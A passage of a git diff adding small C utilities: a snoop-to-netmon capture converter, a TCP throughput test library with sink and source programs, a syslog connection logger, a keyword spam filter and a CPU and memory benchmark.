+       uint32 caplen;
+       uint32 len;
+       uint32 offset;
+       uint32 pad1;
+       struct timeval ts;
+};
+
+
+/* .cap file format */
+typedef struct _systemtime {
+    uint16 wYear;
+    uint16 wMonth; 
+    uint16 wDayOfWeek;
+    uint16 wDay;
+    uint16 wHour;
+    uint16 wMinute; 
+    uint16 wSecond;
+    uint16 wMilliseconds;
+} systemtime_t;
+
+struct cap_header {
+    char             rtss[4];
+    char             minor;
+    char             major;
+    uint16           captype; 
+    systemtime_t     starttime;
+    uint32           frameoffset;
+    uint32           framelength;
+    uint32           unknown[24];
+};
+
+struct cap_packet {
+       uint32 cap_time; /* milliseconds */
+       uint16 len;
+       uint16 caplen;
+};
+
+#ifdef WIN32
+#pragma pack(pop)
+#endif
+
+/* file format is:
+   header
+   frames
+   frameoffsets
+   */
+
+
+static void swap_uint32(uint32 *x)
+{
+       char c, *p = (char *)x;
+       c = p[0]; p[0] = p[3]; p[3] = c;
+       c = p[1]; p[1] = p[2]; p[2] = c;
+}
+
+static void swap_int32(int32 *x)
+{
+       char c, *p = (char *)x;
+       c = p[0]; p[0] = p[3]; p[3] = c;
+       c = p[1]; p[1] = p[2]; p[2] = c;
+}
+
+static void swap_uint16(uint16 *x)
+{
+       char c, *p = (char *)x;
+       c = p[0]; p[0] = p[1]; p[1] = c;
+}
+
+
+static void swap_netmon_header(struct cap_header *h)
+{
+       swap_uint16(&h->captype);
+       swap_uint16(&h->starttime.wYear);
+       swap_uint16(&h->starttime.wMonth);
+       swap_uint16(&h->starttime.wDayOfWeek);
+       swap_uint16(&h->starttime.wDay);
+       swap_uint16(&h->starttime.wHour);
+       swap_uint16(&h->starttime.wMinute);
+       swap_uint16(&h->starttime.wSecond);
+       swap_uint16(&h->starttime.wMilliseconds);
+       swap_uint32(&h->frameoffset);
+       swap_uint32(&h->framelength);
+}
+
+static void swap_netmon_packet(struct cap_packet *p)
+{
+       swap_uint32(&p->cap_time);
+       swap_uint16(&p->len);
+       swap_uint16(&p->caplen);
+}
+
+static void swap_snoop_header(struct snoop_file_header *h)
+{
+       swap_uint16(&h->major);
+       swap_uint16(&h->minor);
+       swap_uint32(&h->linktype);
+}
+
+static void swap_snoop_packet(struct snoop_packet *p)
+{
+       swap_uint32(&p->caplen);
+       swap_uint32(&p->len);
+       swap_uint32(&p->offset);
+       swap_uint32(&((p->ts).tv_sec));
+       swap_int32(&((p->ts).tv_usec));
+}
+
+int convert_snoop_to_cap(char *infile, char *outfile)
+{
+       int i;
+       int fd1, fd2;
+       int snaplen;
+        int offsetlen;
+       struct snoop_file_header snoop_header;
+       struct snoop_packet snoop_pkt;
+       char *data;
+       struct cap_header cap_header;
+       struct cap_packet cap_pkt;
+       struct timeval tval1;
+       char pad[4];
+       int swap_snoop = 0;
+       int swap_netmon = 0;
+        struct tm *starttm;
+       uint32 foffset;
+       FILE *tmpf;
+       int fd3;
+       int j;
+
+       fd1 = open(infile, O_RDONLY | O_BINARY);
+       if (fd1 == -1) {
+               perror(infile);
+               exit(1);
+       }
+
+       fd2 = open(outfile, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, 0644);
+       if (fd2 == -1) {
+               perror(outfile);
+               exit(1);
+       }
+
+       if ((tmpf = tmpfile()) == NULL) {
+               perror("tmpfile()");
+               exit(1);
+       }
+       fd3 = fileno(tmpf);
+       if (fd3 == -1) {
+               perror("tmpfile()");
+               exit(1);
+       }
+
+       if (read(fd1, &snoop_header, sizeof(snoop_header)) != 
+           sizeof(snoop_header)) {
+               printf("can't read snoop header\n");
+               return 0;
+       }
+
+       /* snoop files can be in either byte order. */
+       if (memcmp(snoop_header.u.magic, SNOOP_MAGIC, 8) != 0) {
+               printf("bad magic number %x\n", snoop_header.u.magic);
+               return 0;
+       }
+
+       if (snoop_header.u.m[1] == 'p') {
+               swap_snoop = 1;
+               swap_snoop_header(&snoop_header);
+#if _DEBUG
+               fprintf(stderr, "Bytes swapping snoop file.\n");
+#endif
+       }
+
+       /* check if we are little endian. If not, we need to
+          convert the network monitor output */
+       i=1;
+       if (((char *)&i)[0] != 1) {
+               swap_netmon = 1;
+#if _DEBUG
+               fprintf(stderr, "Bytes swapping cap file.\n");
+#endif
+        }
+
+       /* setup the basic netmon header */
+       memset(&cap_header, 0, sizeof(cap_header));
+       strcpy(cap_header.rtss, "RTSS");
+       cap_header.minor = 1;
+       cap_header.major = 1;
+       cap_header.captype = 1; /* snoop_header.linktype; */
+       
+       /* write it out. we will have to write it again once
+          we've worked out the rest of the parameters */
+       write(fd2, &cap_header, sizeof(cap_header));
+
+       /* snaplen = snoop_header.snaplen; */
+        snaplen = 4500;
+
+       printf("snoop-%d.%d linktype=%d\n", 
+              snoop_header.major, snoop_header.minor,
+              snoop_header.linktype);
+
+       data = (char *)malloc(snaplen);
+
+       memset(pad, 0, sizeof(pad));
+       
+       for (i=0; 1 ; i++) {
+               if (read(fd1, &snoop_pkt, sizeof(snoop_pkt)) != 
+                   sizeof(snoop_pkt))
+                       break;
+
+               if (swap_snoop)
+                    swap_snoop_packet(&snoop_pkt);
+
+               if (i == 0)
+                       tval1 = snoop_pkt.ts;
+
+               if (read(fd1, data, snoop_pkt.caplen) != snoop_pkt.caplen)
+                       break;
+
+#if _DEBUG
+               fprintf(stderr, "frame %d of length=%d:%d\n",
+                       i+1, snoop_pkt.caplen, snoop_pkt.len);
+#endif
+                offsetlen = snoop_pkt.offset -
+                    (sizeof(snoop_pkt) + snoop_pkt.caplen);
+                if (offsetlen > 0)
+                    lseek(fd1, offsetlen, SEEK_CUR);
+
+               if (snoop_pkt.caplen > snoop_pkt.len)
+                       snoop_pkt.caplen = snoop_pkt.len;
+
+               foffset = lseek(fd2, 0, SEEK_CUR);
+
+               cap_pkt.cap_time = (snoop_pkt.ts.tv_sec - tval1.tv_sec)*1000 +
+                       (snoop_pkt.ts.tv_usec - tval1.tv_usec)/1000;
+               cap_pkt.caplen = snoop_pkt.caplen;
+               cap_pkt.len = snoop_pkt.len;
+
+               if (swap_netmon)
+                       swap_netmon_packet(&cap_pkt);
+
+               write(fd2, &cap_pkt, sizeof(cap_pkt));
+               write(fd2, data, snoop_pkt.caplen);
+               write(fd3, &foffset, sizeof(foffset));
+
+               if (snoop_pkt.caplen % 4 != 0) {
+                       write(fd2, pad, 4 - (snoop_pkt.caplen % 4));
+               }
+
+#if _DEBUG
+               fprintf(stderr, "frame %d of length=%d:%d\n",
+                       i+1, snoop_pkt.caplen, snoop_pkt.len);
+#endif
+       }
+
+       cap_header.frameoffset = lseek(fd2, 0, SEEK_CUR);
+       cap_header.framelength = i*4;
+
+       if ((starttm = localtime((time_t *)&tval1.tv_sec)) != NULL) {
+               cap_header.starttime.wYear = 1900 + starttm->tm_year;
+               cap_header.starttime.wMonth = starttm->tm_mon + 1;
+               cap_header.starttime.wDayOfWeek = starttm->tm_wday;
+               cap_header.starttime.wDay = starttm->tm_mday;
+               cap_header.starttime.wHour = starttm->tm_hour;
+               cap_header.starttime.wMinute = starttm->tm_min;
+               cap_header.starttime.wSecond = starttm->tm_sec;
+               cap_header.starttime.wMilliseconds = tval1.tv_usec/1000;
+       }
+
+       if (swap_netmon)
+               swap_netmon_header(&cap_header);
+
+       lseek(fd3, 0, SEEK_SET);
+       for (j = 0; j < i; j++) {
+               if (read(fd3, &foffset, sizeof(foffset)) != sizeof(foffset)) {
+                       perror("read(tmpfile)");
+                       exit(2);
+               }
+               if (swap_netmon)
+                       swap_uint32(&foffset);
+               write(fd2, &foffset, sizeof(foffset));
+       }
+
+       lseek(fd2, 0, SEEK_SET);
+
+       write(fd2, &cap_header, sizeof(cap_header));
+
+       close(fd1);
+       close(fd2);
+       fclose(tmpf);
+
+       printf("converted %d frames\n", i);
+
+       return i;
+}
+
+int main(int argc, char *argv[])
+{
+       if (argc < 3) {
+               printf("Convert a snoop capture file to a netmon .cap file\n");
+               printf("\tUsage: capconvert <infile> <outfile>\n");
+               exit(1);
+       }
+
+       convert_snoop_to_cap(argv[1], argv[2]);
+
+       return 0;
+}
diff --git a/socklib/Makefile b/socklib/Makefile
new file mode 100644 (file)
index 0000000..e2d094d
--- /dev/null
@@ -0,0 +1,12 @@
+CFLAGS = -Wall
+
+all: sock_sink sock_source
+
+sock_sink: sock_sink.o socklib.o
+       $(CC) -o $@ sock_sink.o socklib.o
+
+sock_source: sock_source.o socklib.o
+       $(CC) -o $@ sock_source.o socklib.o
+
+clean:
+       rm -f *.o sock_sink sock_source *~
diff --git a/socklib/sock_sink b/socklib/sock_sink
new file mode 100755 (executable)
index 0000000..fbb39de
Binary files /dev/null and b/socklib/sock_sink differ
diff --git a/socklib/sock_sink.c b/socklib/sock_sink.c
new file mode 100644 (file)
index 0000000..9dbfa70
--- /dev/null
@@ -0,0 +1,79 @@
+#include "socklib.h"
+
+
+static char *tcp_options="";
+static int port=7001;
+static int bufsize=8192;
+static char *host;
+
+static void sender(void)
+{
+       int fd, total=0;
+       char *buf;
+       
+       fd = open_socket_out(host, port);
+
+       set_socket_options(fd, tcp_options);
+
+       buf = (char *)malloc(bufsize);
+
+       if (!buf) {
+               fprintf(stderr,"out of memory\n");
+               exit(1);
+       }
+
+       memset(buf, 'Z', bufsize);
+
+       start_timer();
+
+       while (1) {
+               int ret = read(fd, buf, bufsize);
+               if (ret <= 0) break;
+               total += ret;
+               if (end_timer() > 2.0) {
+                       report_time(total);
+                       total = 0;
+                       start_timer();
+               }
+       }
+}
+
+
+static void usage(void)
+{
+       printf("-p port\n-t socket options\n-H host\n-b bufsize\n\n");
+}
+
+int main(int argc, char *argv[])
+{
+       int opt;
+       extern char *optarg;
+
+       while ((opt = getopt (argc, argv, "p:t:H:b:h")) != EOF) {
+               switch (opt) {
+               case 'p':
+                       port = atoi(optarg);
+                       break;
+               case 't':
+                       tcp_options = optarg;
+                       break;
+               case 'H':
+                       host = optarg;
+                       break;
+               case 'b':
+                       bufsize = atoi(optarg);
+                       break;
+
+               case 'h':
+               default:
+                       usage();
+                       exit(1);
+               }
+       }
+
+       printf("host=%s port=%d options=[%s]\n", host, port, tcp_options);
+
+       sender();
+
+       return 0;
+}
diff --git a/socklib/sock_source b/socklib/sock_source
new file mode 100755 (executable)
index 0000000..eb46eed
Binary files /dev/null and b/socklib/sock_source differ
diff --git a/socklib/sock_source.c b/socklib/sock_source.c
new file mode 100644 (file)
index 0000000..b4ed0ab
--- /dev/null
@@ -0,0 +1,104 @@
+#include "socklib.h"
+
+
+static char *tcp_options="";
+static int port=7001;
+static int bufsize=8192;
+
+static void server(int fd)
+{
+       char *buf;
+       int total=0;
+
+       signal(SIGPIPE, SIG_IGN);
+       
+       set_socket_options(fd, tcp_options);
+
+       buf = (char *)malloc(bufsize);
+       if (!buf) {
+               fprintf(stderr,"out of memory\n");
+               exit(1);
+       }
+
+       memset(buf, 'Z', bufsize);
+
+       start_timer();
+
+       while (1) {
+               int ret = write(fd, buf, bufsize);
+               if (ret <= 0) break;
+               total += ret;
+               if (end_timer() > 2.0) {
+                       report_time(total);
+                       total = 0;
+                       start_timer();
+               }
+       }
+       report_time(total);
+
+       exit(0);
+}
+
+static void listener(void)
+{
+       int sock;
+       
+       sock = open_socket_in(SOCK_STREAM, port, INADDR_ANY);
+
+       if (listen(sock, 5) == -1) {
+               fprintf(stderr,"listen failed\n");
+               exit(1);
+       }
+
+       while (1) {
+               struct sockaddr addr;
+               int in_addrlen = sizeof(addr);
+               int fd;
+
+               printf("waiting for connection\n");
+
+               fd = accept(sock,&addr,&in_addrlen);
+
+               if (fd != -1) {
+                       printf("accepted\n");
+                       if (fork() == 0) server(fd);
+               }
+       }
+}
+
+
+static void usage(void)
+{
+       printf("-p port\n-t socket options\n-b bufsize\n\n");
+}
+
+int main(int argc, char *argv[])
+{
+       int opt;
+       extern char *optarg;
+
+       while ((opt = getopt (argc, argv, "p:t:H:b:h")) != EOF) {
+               switch (opt) {
+               case 'p':
+                       port = atoi(optarg);
+                       break;
+               case 't':
+                       tcp_options = optarg;
+                       break;
+               case 'b':
+                       bufsize = atoi(optarg);
+                       break;
+
+               case 'h':
+               default:
+                       usage();
+                       exit(1);
+               }
+       }
+
+       printf("port=%d options=[%s]\n", port, tcp_options);
+
+       listener();
+
+       return 0;
+}
diff --git a/socklib/socklib.c b/socklib/socklib.c
new file mode 100644 (file)
index 0000000..87f9531
--- /dev/null
@@ -0,0 +1,248 @@
+#include "socklib.h"
+
+static char *last_ptr=NULL;
+
+
+/****************************************************************************
+  Get the next token from a string, return False if none found
+  handles double-quotes. 
+Based on a routine by GJC@VILLAGE.COM. 
+Extensively modified by Andrew.Tridgell@anu.edu.au
+****************************************************************************/
+BOOL next_token(char **ptr,char *buff,char *sep)
+{
+  char *s;
+  BOOL quoted;
+
+  if (!ptr) ptr = &last_ptr;
+  if (!ptr) return(False);
+
+  s = *ptr;
+
+  /* default to simple separators */
+  if (!sep) sep = " \t\n\r";
+
+  /* find the first non sep char */
+  while(*s && strchr(sep,*s)) s++;
+
+  /* nothing left? */
+  if (! *s) return(False);
+
+  /* copy over the token */
+  for (quoted = False; *s && (quoted || !strchr(sep,*s)); s++)
+    {
+      if (*s == '\"') 
+       quoted = !quoted;
+      else
+       *buff++ = *s;
+    }
+
+  *ptr = (*s) ? s+1 : s;  
+  *buff = 0;
+  last_ptr = *ptr;
+
+  return(True);
+}
+
+/****************************************************************************
+open a socket of the specified type, port and address for incoming data
+****************************************************************************/
+int open_socket_in(int type, int port, uint32 socket_addr)
+{
+       struct hostent *hp;
+       struct sockaddr_in sock;
+       char host_name[1000];
+       int res;
+       int one=1;
+
+       /* get my host name */
+       if (gethostname(host_name, sizeof(host_name)) == -1) { 
+               fprintf(stderr,"gethostname failed\n"); return -1; 
+       } 
+
+       /* get host info */
+       if ((hp = gethostbyname(host_name)) == 0) {
+               fprintf(stderr,"Get_Hostbyname: Unknown host %s\n",host_name);
+               return -1;
+       }
+  
+       bzero((char *)&sock,sizeof(sock));
+       memcpy((char *)&sock.sin_addr,(char *)hp->h_addr, hp->h_length);
+
+#ifdef HAVE_SOCK_SIN_LEN
+       sock.sin_len = sizeof(sock);
+#endif
+       sock.sin_port = htons( port );
+       sock.sin_family = hp->h_addrtype;
+       sock.sin_addr.s_addr = socket_addr;
+       res = socket(hp->h_addrtype, type, 0);
+       if (res == -1) { 
+               fprintf(stderr, "socket failed\n"); return -1; 
+       }
+
+       setsockopt(res,SOL_SOCKET,SO_REUSEADDR,(char *)&one,sizeof(one));
+
+       /* now we've got a socket - we need to bind it */
+       if (bind(res, (struct sockaddr * ) &sock,sizeof(sock)) < 0) { 
+               return(-1); 
+       }
+
+       return res;
+}
+
+
+/* open a socket to a tcp remote host with the specified port 
+   based on code from Warren */
+int open_socket_out(char *host, int port)
+{
+       int type = SOCK_STREAM;
+       struct sockaddr_in sock_out;
+       int res;
+       struct hostent *hp;  
+
+       res = socket(PF_INET, type, 0);
+       if (res == -1) {
+               return -1;
+       }
+
+       hp = gethostbyname(host);
+       if (!hp) {
+               fprintf(stderr,"unknown host: %s\n", host);
+               return -1;
+       }
+
+       memcpy(&sock_out.sin_addr, hp->h_addr, hp->h_length);
+       sock_out.sin_port = htons(port);
+       sock_out.sin_family = PF_INET;
+
+       if (connect(res,(struct sockaddr *)&sock_out,sizeof(sock_out))) {
+               close(res);
+               fprintf(stderr,"failed to connect to %s - %s\n", 
+                       host, strerror(errno));
+               return -1;
+       }
+
+       return res;
+}
+
+
+
+enum SOCK_OPT_TYPES {OPT_BOOL,OPT_INT,OPT_ON};
+
+struct
+{
+  char *name;
+  int level;
+  int option;
+  int value;
+  int opttype;
+} socket_options[] = {
+  {"SO_KEEPALIVE",      SOL_SOCKET,    SO_KEEPALIVE,    0,                 OPT_BOOL},
+  {"SO_REUSEADDR",      SOL_SOCKET,    SO_REUSEADDR,    0,                 OPT_BOOL},
+  {"SO_BROADCAST",      SOL_SOCKET,    SO_BROADCAST,    0,                 OPT_BOOL},
+#ifdef TCP_NODELAY
+  {"TCP_NODELAY",       IPPROTO_TCP,   TCP_NODELAY,     0,                 OPT_BOOL},
+#endif
+#ifdef IPTOS_LOWDELAY
+  {"IPTOS_LOWDELAY",    IPPROTO_IP,    IP_TOS,          IPTOS_LOWDELAY,    OPT_ON},
+#endif
+#ifdef IPTOS_THROUGHPUT
+  {"IPTOS_THROUGHPUT",  IPPROTO_IP,    IP_TOS,          IPTOS_THROUGHPUT,  OPT_ON},
+#endif
+#ifdef SO_SNDBUF
+  {"SO_SNDBUF",         SOL_SOCKET,    SO_SNDBUF,       0,                 OPT_INT},
+#endif
+#ifdef SO_RCVBUF
+  {"SO_RCVBUF",         SOL_SOCKET,    SO_RCVBUF,       0,                 OPT_INT},
+#endif
+#ifdef SO_SNDLOWAT
+  {"SO_SNDLOWAT",       SOL_SOCKET,    SO_SNDLOWAT,     0,                 OPT_INT},
+#endif
+#ifdef SO_RCVLOWAT
+  {"SO_RCVLOWAT",       SOL_SOCKET,    SO_RCVLOWAT,     0,                 OPT_INT},
+#endif
+#ifdef SO_SNDTIMEO
+  {"SO_SNDTIMEO",       SOL_SOCKET,    SO_SNDTIMEO,     0,                 OPT_INT},
+#endif
+#ifdef SO_RCVTIMEO
+  {"SO_RCVTIMEO",       SOL_SOCKET,    SO_RCVTIMEO,     0,                 OPT_INT},
+#endif
+  {NULL,0,0,0,0}};
+
+       
+
+/****************************************************************************
+set user socket options
+****************************************************************************/
+void set_socket_options(int fd, char *options)
+{
+       char tok[200];
+
+       while (next_token(&options,tok," \t,"))
+    {
+      int ret=0,i;
+      int value = 1;
+      char *p;
+      BOOL got_value = False;
+
+      if ((p = strchr(tok,'=')))
+       {
+         *p = 0;
+         value = atoi(p+1);
+         got_value = True;
+       }
+
+      for (i=0;socket_options[i].name;i++)
+       if (strcasecmp(socket_options[i].name,tok)==0)
+         break;
+
+      if (!socket_options[i].name)
+       {
+         DEBUG(0,("Unknown socket option %s\n",tok));
+         continue;
+       }
+
+      switch (socket_options[i].opttype)
+       {
+       case OPT_BOOL:
+       case OPT_INT:
+         ret = setsockopt(fd,socket_options[i].level,
+                          socket_options[i].option,(char *)&value,sizeof(int));
+         break;
+
+       case OPT_ON:
+         if (got_value)
+           DEBUG(0,("syntax error - %s does not take a value\n",tok));
+
+         {
+           int on = socket_options[i].value;
+           ret = setsockopt(fd,socket_options[i].level,
+                            socket_options[i].option,(char *)&on,sizeof(int));
+         }
+         break;          
+       }
+      
+      if (ret != 0)
+       DEBUG(0,("Failed to set socket option %s\n",tok));
+    }
+}
+
+
+static struct timeval tp1,tp2;
+
+void start_timer()
+{
+       gettimeofday(&tp1,NULL);
+}
+
+double end_timer()
+{
+       gettimeofday(&tp2,NULL);
+       return((tp2.tv_sec - tp1.tv_sec) + 
+              (tp2.tv_usec - tp1.tv_usec)*1.0e-6);
+}
+
+void report_time(int total)
+{
+       printf("%g MB/sec\n", (total/(1.0e6))/end_timer());
+}
diff --git a/socklib/socklib.h b/socklib/socklib.h
new file mode 100644 (file)
index 0000000..43c8876
--- /dev/null
@@ -0,0 +1,36 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <signal.h>
+#include <math.h>
+#include <errno.h>
+#include <sys/socket.h>
+#include <netdb.h>
+#include <unistd.h>
+#include <strings.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <netinet/in.h>
+#include <netinet/tcp.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+
+
+#define uint32 unsigned 
+#define BOOL int
+#define False 0
+#define True 1
+
+#define DEBUG(l, x) printf x
+
+int open_socket_in(int type, int port, uint32 socket_addr);
+int open_socket_out(char *host, int port);
+double end_timer();
+void report_time(int total);
+void start_timer();
+void set_socket_options(int fd, char *options);
+
+
+
+
+
diff --git a/socklog.c b/socklog.c
new file mode 100644 (file)
index 0000000..3ddbaec
--- /dev/null
+++ b/socklog.c
@@ -0,0 +1,97 @@
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <syslog.h>
+
+/*******************************************************************
+ return the IP addr of the client as a string 
+ ******************************************************************/
+char *client_addr(int fd)
+{
+       struct sockaddr sa;
+       struct sockaddr_in *sockin = (struct sockaddr_in *) (&sa);
+       int     length = sizeof(sa);
+       static char addr_buf[100];
+       static int initialised;
+
+       if (initialised) return addr_buf;
+
+       initialised = 1;
+
+       if (getpeername(fd, &sa, &length)) {
+               exit(1);
+       }
+       
+       strncpy(addr_buf,
+               (char *)inet_ntoa(sockin->sin_addr), sizeof(addr_buf));
+       addr_buf[sizeof(addr_buf)-1] = 0;
+
+       return addr_buf;
+}
+
+
+/*******************************************************************
+ return the DNS name of the client 
+ ******************************************************************/
+char *client_name(int fd)
+{
+       struct sockaddr sa;
+       struct sockaddr_in *sockin = (struct sockaddr_in *) (&sa);
+       int     length = sizeof(sa);
+       static char name_buf[100];
+       struct hostent *hp;
+       char **p;
+       char *def = "UNKNOWN";
+       static int initialised;
+
+       if (initialised) return name_buf;
+
+       initialised = 1;
+
+       strcpy(name_buf,def);
+
+       if (getpeername(fd, &sa, &length)) {
+               exit(1);
+       }
+
+       /* Look up the remote host name. */
+       if ((hp = gethostbyaddr((char *) &sockin->sin_addr,
+                               sizeof(sockin->sin_addr),
+                               AF_INET))) {
+               
+               strncpy(name_buf,(char *)hp->h_name,sizeof(name_buf));
+               name_buf[sizeof(name_buf)-1] = 0;
+       }
+
+
+       /* do a forward lookup as well to prevent spoofing */
+       hp = gethostbyname(name_buf);
+       if (!hp) {
+               strcpy(name_buf,def);
+       } else {
+               for (p=hp->h_addr_list;*p;p++) {
+                       if (memcmp(*p, &sockin->sin_addr, hp->h_length) == 0) {
+                               break;
+                       }
+               }
+               if (!*p) {
+                       strcpy(name_buf,def);
+               } 
+       }
+
+       return name_buf;
+}
+
+
+int main(int argc, char *argv[])
+{
+       char *service = argv[1];
+
+       openlog("socklog", LOG_PID, LOG_DAEMON);
+       syslog(LOG_ERR, "%s connection from %s [%s]", 
+              service, client_name(0), client_addr(0));
+       exit(0);
+}
diff --git a/spamstopper.c b/spamstopper.c
new file mode 100644 (file)
index 0000000..15bfc97
--- /dev/null
@@ -0,0 +1,163 @@
+/* a simple program to detect if an email arriving on standard input is SPAM */
+
+#include <stdio.h>
+#include <string.h>
+#include <fcntl.h>
+
+
+/* a single occurance of any of these strings gets it banned */
+static char *spam_strings[] = {
+"Extractor Pro",
+"HUGE PROFITS",
+"removed from this advertiser",
+"Adult Entertainment",
+"PAY PLAN",
+"FREE REPORT",
+"RED HOT",
+"$$$",
+"MoneyMaker",
+"cash register",
+"build your business",
+"having sex",
+"home video",
+"fraction of the price",
+"ALL PRICES",
+"Game List",
+"electron28",
+" rape ",
+" sex ",
+"secrets of success",
+"attractive woman",
+"love life",
+"beautiful women",
+"INTRODUCTORY OFFER",
+"ORDER IT NOW",
+"CREDIT CARD",
+"Money Making",
+"FREE TAPE",
+"Network Marketing",
+"HOME BUSINESS",
+"Cold Cash",
+"Adult Entertainment",
+"COMMISSIONS",
+"TOP PRICE",
+"DON'T BELIEVE THEM",
+"BELIEVE ME",
+"HERE'S THE PROOF",
+"SIMPLE DETAILS",
+"DOLLAR BILL",
+"MAKE MONEY",
+NULL};
+
+
+
+/* SPAM_WORDS_LIMIT occurances of any of these strings gets it banned */
+#define SPAM_WORDS_LIMIT 2
+static char *spam_words[] = {
+  "profit",
+  "Profit",
+  "PROFIT",
+
+  "cash",
+  "Cash",
+  "CASH",
+
+  "opportunity",
+  "Opportunity",
+  "OPPORTUNITY",
+
+  "money",
+  "Money",
+  "MONEY",
+
+  "Coming soon",
+
+  "business",
+
+  "video",
+
+  "marketing",
+
+  NULL};
+
+
+static int match_spam_strings(char *buf, int size)
+{
+  int i;
+
+  for (i=0;spam_strings[i];i++) {
+    if (memmem(buf, size, spam_strings[i], strlen(spam_strings[i])))
+      return 1;
+  }
+
+  return 0;
+}
+
+
+static int match_spam_words(char *buf, int size)
+{
+  int i;
+  int count=0;
+
+  for (i=0;spam_words[i];i++) {
+    if (memmem(buf, size, spam_words[i], strlen(spam_words[i]))) {
+      count++;
+    }
+  }
+
+  if (count >= SPAM_WORDS_LIMIT)
+    return 1;
+
+  return 0;
+}
+
+
+/* messages longer than this get truncated */
+#define MAXBUF 0xFFFF
+
+int main(int argc, char *argv[])
+{
+  char *buf;
+  int size;
+
+  if (argc != 2) {
+    fprintf(stderr,"spamstopper <spamfile>\n");
+    exit(1);
+  }
+
+  buf = (char *)malloc(MAXBUF);
+  if (!buf) return 0;
+
+  size = 0;
+  while (1) {
+    int n = read(0, buf+size, MAXBUF-(size+1));
+    if (n <= 0) break;
+    size += n;
+  }
+
+  if (size <= 0) return 0;
+
+  buf[size] = 0;
+
+  if (match_spam_strings(buf, size) ||
+      match_spam_words(buf, size)) {
+    char *spamfile = argv[1];
+    int fd;
+
+    fd = open(spamfile,O_CREAT|O_WRONLY|O_APPEND, 0666);
+    if (fd == -1) {
+      perror(spamfile);
+      exit(1);
+    }
+    write(fd, buf, size);
+    close(fd);
+    return 0;
+  }
+
+  /* its OK, pass it on */
+  write(1,buf,size);
+
+  return 0;
+}
+
+
diff --git a/speed.c b/speed.c
new file mode 100644 (file)
index 0000000..635deff
--- /dev/null
+++ b/speed.c
@@ -0,0 +1,205 @@
+#include <stdio.h>
+#include <math.h>
+#include <sys/time.h>
+
+
+#define MAX(a,b) ((a)>(b)?(a):(b))
+#define MIN(a,b) ((a)<(b)?(a):(b))
+
+/* for solaris */
+#ifdef SOLARIS
+#include <limits.h>
+#include <sys/times.h>
+struct tms tp1,tp2;
+
+static void start_timer()
+{
+  times(&tp1);
+}
+
+static double end_timer()
+{
+  times(&tp2);
+  return((tp2.tms_utime - tp1.tms_utime)/(1.0*CLK_TCK));
+}
+
+#elif (defined(LINUX))
+
+#include <sys/resource.h>
+struct rusage tp1,tp2;
+
+static void start_timer()
+{
+  getrusage(RUSAGE_SELF,&tp1);
+}
+
+
+static double end_timer()
+{
+  getrusage(RUSAGE_SELF,&tp2);
+  return((tp2.ru_utime.tv_sec - tp1.ru_utime.tv_sec) + 
+        (tp2.ru_utime.tv_usec - tp1.ru_utime.tv_usec)*1.0e-6);
+}
+
+#else
+
+#include <sys/time.h>
+
+struct timeval tp1,tp2;
+
+static void start_timer()
+{
+  gettimeofday(&tp1,NULL);
+}
+
+static double end_timer()
+{
+  gettimeofday(&tp2,NULL);
+  return((tp2.tv_sec - tp1.tv_sec) + 
+        (tp2.tv_usec - tp1.tv_usec)*1.0e-6);
+}
+
+#endif
+
+static FILE *f;
+
+static void dumpval(double val)
+{
+  fwrite((void *)&val,sizeof(val),1,f);
+}
+
+
+
+static void memcpy_test(int size)
+{
+  int i;
+  int loops = 5.0e8 / size;
+  char *p1 = (char *)malloc(size);
+  char *p2 = (char *)malloc(size);
+  double t;
+
+  memset(p2,42,size);
+  start_timer();
+
+  for (i=0;i<loops;i++)
+    {
+      memcpy(p1,p2,size);
+      memcpy(p2,p1,size);
+    }
+
+  t = end_timer();
+  dumpval(*(double *)p1);
+  dumpval(*(double *)p2);
+  free(p1); free(p2);
+
+  printf("%g Mb/S\n",i*2.0*size/(1.0e6*t));
+}
+
+
+main()
+{
+  int loops = 100000;
+  int l;
+  double d=0;
+  double t;
+  int i;
+
+#define ADD_SIZE 1*1024
+  
+  f = fopen("/dev/null","w");
+  
+  printf("Floating point - sin() - ");
+  l = 1024;
+  start_timer();
+  for (i=0;i<loops;i++)
+    d += sin((double)i);
+  t = end_timer();
+  printf("%g MOPS\n",loops/(1.0e6*t));
+  dumpval(d);
+
+  printf("Floating point - log() - ");
+  l = 1024;
+  start_timer();
+  for (i=0;i<loops;i++)
+    d += log((double)(i+1));
+  t = end_timer();
+  printf("%g MOPS\n",loops/(1.0e6*t));
+  dumpval(d);
+
+  printf("Memcpy - 1kB - ");
+  memcpy_test(1024);
+
+  printf("Memcpy - 100kB - ");
+  memcpy_test(1024*100);
+
+  printf("Memcpy - 1MB - ");
+  memcpy_test(1024*1024);
+
+  printf("Memcpy - 10MB - ");
+  memcpy_test(1024*1024*10);
+
+  loops *= 10;
+  printf("Adding integers - ");
+  l = ADD_SIZE;
+  {
+    int *p1 = (int *)malloc(l*sizeof(int));
+    int sum;
+    for (i=0;i<l;i++)
+      p1[i] = i;
+    start_timer();
+    for (i=0;i<loops/100;i++)
+      {
+       int j;
+       sum = i;
+       for (j=0;j<l;j++)
+         sum += p1[j];
+      }
+    t = end_timer();
+    dumpval(sum);
+    free(p1);
+  }
+  printf("%g MOPS\n",0.01*(loops*l)/(1.0e6*t));
+
+  printf("Adding floats (size %d) - ",sizeof(float));
+  l = ADD_SIZE;
+  {
+    float *p1 = (float *)malloc(l*sizeof(float));
+    float sum;
+    for (i=0;i<l;i++)
+      p1[i] = i;
+    start_timer();
+    for (i=0;i<loops/100;i++)
+      {
+       int j;
+       sum = i;
+       for (j=0;j<l;j++)
+         sum += p1[j];
+      }
+    t = end_timer();
+    dumpval(sum);
+    free(p1);
+  }
+  printf("%g MOPS\n",0.01*(loops*l)/(1.0e6*t));
+
+  printf("Adding doubles (size %d) - ",sizeof(double));
+  l = ADD_SIZE;
+  {
+    double *p1 = (double *)malloc(l*sizeof(double));
+    double sum;
+    for (i=0;i<l;i++)
+      p1[i] = i;
+    start_timer();
+    for (i=0;i<loops/100;i++)
+      {
+       int j;
+       sum = i;
+       for (j=0;j<l;j++)
+         sum += p1[j];
+      }
+    t = end_timer();
+    dumpval(sum);
+    free(p1);
+  }
+  printf("%g MOPS\n",0.01*(loops*l)/(1.0e6*t));
+
+}
diff --git a/sshtest.c b/sshtest.c
new file mode 100644 (file)
index 0000000..8b89e3e
